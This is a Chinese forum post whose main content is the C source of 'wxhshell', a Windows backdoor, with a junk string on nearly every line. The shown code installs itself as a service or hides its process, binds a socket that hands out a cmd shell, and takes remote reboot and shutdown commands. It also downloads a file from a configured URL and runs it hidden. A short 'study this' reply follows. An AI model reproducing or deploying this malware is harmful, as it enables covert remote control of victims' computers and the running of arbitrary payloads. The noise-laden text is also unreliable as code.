  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e`*}?N4d  
  } !_I1=yi  
  else { Pt]>AW;i  
K<JzIuf&  
    switch(cmd[0]) { ts]e M1;  
  FU`(mQ*Yd  
  // 帮助 *$p*'vR  
  case '?': { 5Qgu:)}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2"/MM2s  
    break; l#)X/(?;  
  } {UiSa'TR1b  
  // 安装 `oRyw6Sko  
  case 'i': { 3?OQ-7,  
    if(Install()) sXLW';Fz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.:+|Br`  
    else n@p]v*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =SDex.ZK]  
    break; 7h' C"rH  
    } d^=BXC oC  
  // 卸载 >w,L=z=  
  case 'r': { >XN[KPTa  
    if(Uninstall()) 7iB!Uuc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oO}g~<fYG  
    else [4KQcmJc#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YAi-eL67l  
    break; {v={q1  
    } _H]\  
  // 显示 wxhshell 所在路径 @T1G#[C~t  
  case 'p': { ]m1fo'  
    char svExeFile[MAX_PATH]; UpoSC  
    strcpy(svExeFile,"\n\r"); -@Ap;,=  
      strcat(svExeFile,ExeFile); GwWK'F'2  
        send(wsh,svExeFile,strlen(svExeFile),0); d0J /"<  
    break; ! j~wAdHk  
    } .)E#*kLWR  
  // 重启 L!f~Am:#  
  case 'b': { vHaM yA-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Bfb~<rs[  
    if(Boot(REBOOT)) ct+F\:e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $QbJT`,mr  
    else { iFIGJS  
    closesocket(wsh); w\C1Bh!  
    ExitThread(0); pwSgFc$z  
    } iUkUo x  
    break; 5(;Y&?k  
    } )W\)37=.  
  // 关机 I| TNo-!$  
  case 'd': { $<*) 5|6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pyEQb#  
    if(Boot(SHUTDOWN)) 2- iY:r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !$)reaS  
    else { HZrA}|:h  
    closesocket(wsh); J+D|/^  
    ExitThread(0); 7w )?s@CD  
    } d<c29Y  
    break; Omd;  
    } ss^a=?~  
  // 获取shell t FU4%c7V  
  case 's': { k@xinK%O{  
    CmdShell(wsh); EKc<|e,F  
    closesocket(wsh); .jRI $vm  
    ExitThread(0); =<\22d5L  
    break; R~<N*En~  
  } :>-zT[Lcn  
  // 退出 XQ1]F{?/H  
  case 'x': { E|pT6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]w*"KG!(  
    CloseIt(wsh); q@.>eB'92P  
    break; KXKT5E$  
    } VuLb9Kn  
  // 离开 \zd[A~!  
  case 'q': { rrIyZ@_d9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A}fm).Wp@  
    closesocket(wsh); hs6pp/h>  
    WSACleanup(); M+"6VtZH  
    exit(1); hqRC:p#9  
    break; 0 kJ8H!~u  
        } Y e0,0Fpw  
  } lHiWzt u  
  } ~[H8R|j "  
.Ys e/oEo  
  // 提示信息 &%J{uRp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); , ['}9:f9  
} QQ?t^ptv  
  } Y9BQLu4F  
VQIvu)I  
  return; aEf3hB*~  
} fW = N  
7_~sa{1R.  
// shell模块句柄 "{<X! ^u>  
int CmdShell(SOCKET sock) qrMED_(D  
{ K6{wM  
STARTUPINFO si; S1|5+PPs  
ZeroMemory(&si,sizeof(si)); ` wa;@p+j8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zw#n85=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =r]l"T  
PROCESS_INFORMATION ProcessInfo; Xg~9<BGsi  
char cmdline[]="cmd"; stiF`l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RvG=GJJ9  
  return 0; j_C"O,WS  
} Nuqmp7C  
?}`- ?JB1  
// 自身启动模式 c0wLc,)G  
int StartFromService(void) !'_7MM  
{ !B`z|#  
typedef struct F{mUxo#T  
{ 8#!g;`~ D  
  DWORD ExitStatus; A%#M#hD/  
  DWORD PebBaseAddress; sOqFEvzo1%  
  DWORD AffinityMask; ^i@anbH  
  DWORD BasePriority; S(@kdL  
  ULONG UniqueProcessId; B/X$ZQ0  
  ULONG InheritedFromUniqueProcessId; Y" =8wNbr  
}   PROCESS_BASIC_INFORMATION; 97Dq;  
*VsGa<V  
PROCNTQSIP NtQueryInformationProcess; !-MY< '  
`BmnXWMgx  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YCRE-5!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y`9#zYgqA  
zS:2?VXxq  
  HANDLE             hProcess; $WIE`P%  
  PROCESS_BASIC_INFORMATION pbi; ]9_gbQ   
eipg,EI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +-tFgXG  
  if(NULL == hInst ) return 0; pW+uVv,  
]x)!Kd2>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rC@VMe|0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pZ8J\4+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G:*vV#K  
rp\`uj*D  
  if (!NtQueryInformationProcess) return 0; 1v&!%9  
!4Aj#`)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7R:j^"I@  
  if(!hProcess) return 0; A~xw:[zy$a  
=rymd3/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 s+X:*C~  
RP$u/x"b  
  CloseHandle(hProcess); z5gVP8*z5  
UvGxA[~2+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9mxg$P4  
if(hProcess==NULL) return 0; ]Y?Y$>  
(:8a6=xQ  
HMODULE hMod; '$Z)2fn7  
char procName[255]; M|c_P)7ym  
unsigned long cbNeeded; uZ8-?  
(F^R9G|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k.C&6*l!5;  
5r)8MklZ  
  CloseHandle(hProcess); \v&zsv\B@  
U[MeK)*  
if(strstr(procName,"services")) return 1; // 以服务启动 xO_>%F^?  
xc*a(v0  
  return 0; // 注册表启动 q\@_L.tc[  
} &]YyV.  
Ck#e54gJX  
// 主模块 T1q27I  
int StartWxhshell(LPSTR lpCmdLine) i&m_G5u88  
{ U;/2\Ii  
  SOCKET wsl; QM8Ic,QFvo  
BOOL val=TRUE; R*vQvO%)h  
  int port=0; ,c"J[$i$  
  struct sockaddr_in door; |Uics:cQC  
{C&U q#V  
  if(wscfg.ws_autoins) Install(); 1UK= t  
f I=G>[  
port=atoi(lpCmdLine);  dwk%!%  
tC|?Kl7  
if(port<=0) port=wscfg.ws_port; i.'"`pn_  
(o*YGYC  
  WSADATA data; 7d R?70Sz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O:#YLmbCN  
pl%!AY'oE>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <y8oYe_!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tr_gc~  
  door.sin_family = AF_INET; $F^VtCx2&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F%<*a,m6g  
  door.sin_port = htons(port); !`%j#bv  
XA<h,ONE?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oi|N8a2R  
closesocket(wsl); y5F+~z }{  
return 1; 7SS#V  
} z=KDkpV  
`E1G9BbU  
  if(listen(wsl,2) == INVALID_SOCKET) { C jf<,x$  
closesocket(wsl); 6HZtdRQF  
return 1; FB wG3x  
} q;bw }4  
  Wxhshell(wsl); Ea S[W?u}  
  WSACleanup(); 2!0tD+B  
^+Nd\tp  
return 0; C W#:'  
Hy4;i^Ik <  
} +z nlf-  
F oC $X  
// 以NT服务方式启动 3" m]A/6C}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WYb}SI(E  
{ }Q4Vy  
DWORD   status = 0; ?|kbIZP(  
  DWORD   specificError = 0xfffffff; Uk]jy>7;!  
V<#KFm$>C  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hmr f\(x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t3<8n;'y:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~(v5p"]dj  
  serviceStatus.dwWin32ExitCode     = 0; a%.W9=h=M(  
  serviceStatus.dwServiceSpecificExitCode = 0; w^Y/J4 I0  
  serviceStatus.dwCheckPoint       = 0; <L8|Wz  
  serviceStatus.dwWaitHint       = 0; EtzSaB*|  
Xgd-^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !*Is0``  
  if (hServiceStatusHandle==0) return; MoN0w.V  
lGr=I-=  
status = GetLastError(); pC:YT/J  
  if (status!=NO_ERROR) B>c$AS\5y  
{ /V09Na,N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &u[{VR:  
    serviceStatus.dwCheckPoint       = 0; Ic4#Tk20i  
    serviceStatus.dwWaitHint       = 0; `$Rgn3  
    serviceStatus.dwWin32ExitCode     = status; Hghd Ts  
    serviceStatus.dwServiceSpecificExitCode = specificError; jz_Y|"{`v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^P@:CBO  
    return; 'UhHcMh:  
  } Fn .J tIu  
;+XrCy!.)L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vN^.MR+<  
  serviceStatus.dwCheckPoint       = 0; > )< ?  
  serviceStatus.dwWaitHint       = 0; }P?e31@:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0&s a#g2  
} %?+vtX  
+ZNOvcsV  
// 处理NT服务事件,比如:启动、停止 H;4QuB'^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,B'=$PO%  
{ y:98}gW`n  
switch(fdwControl) nfF$h}<o+  
{ \4wMv[;7  
case SERVICE_CONTROL_STOP: #dae^UjM  
  serviceStatus.dwWin32ExitCode = 0; uKAI->"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;iuwIdo6c  
  serviceStatus.dwCheckPoint   = 0; F:q4cfL6  
  serviceStatus.dwWaitHint     = 0; _ cQ '3@  
  { is8i_FoD,n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `{:Nt#7  
  } Ht;Rz*}  
  return; 5h/,*p6Nje  
case SERVICE_CONTROL_PAUSE: OUUV8K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v^@)&,  
  break; H9)n<r  
case SERVICE_CONTROL_CONTINUE: rb-ao\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y#B=9Ri=z  
  break; U\Vg&"P  
case SERVICE_CONTROL_INTERROGATE:  j5/pVXO  
  break; x4_MbUe  
}; ldUZ\z(*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|(]u3=1_  
} nQmHYOF%  
$h p UI  
// 标准应用程序主函数 %CHw+wT&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Cd)g8<  
{ |gI>Sp%Fu  
pFS@yHs  
// 获取操作系统版本 Uo >aQk  
OsIsNt=GetOsVer(); (0.oE%B",1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [tk x84M8  
f;^ +q-Q  
  // 从命令行安装 _ +DL   
  if(strpbrk(lpCmdLine,"iI")) Install(); :@i+yN cV  
~'%d]s+q  
  // 下载执行文件 G/p\MzDko  
if(wscfg.ws_downexe) { G^t)^iI"'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uap0O2n  
  WinExec(wscfg.ws_filenam,SW_HIDE); _jG|kjFTc  
} x9>$197  
THhxj)  
if(!OsIsNt) { _y[C52,  
// 如果时win9x,隐藏进程并且设置为注册表启动 R 9` [C  
HideProc(); xR0*w7YE  
StartWxhshell(lpCmdLine); _">F]ptI;  
} ?YR;o4  
else d.+  
  if(StartFromService()) v_5qE  
  // 以服务方式启动 ru 6`Z+p  
  StartServiceCtrlDispatcher(DispatchTable); (.P}>$M9  
else `15}jTi  
  // 普通方式启动 +8zACs{p  
  StartWxhshell(lpCmdLine); U\lbh;9G  
E2r5Pg  
return 0; ,WWd%DF)  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八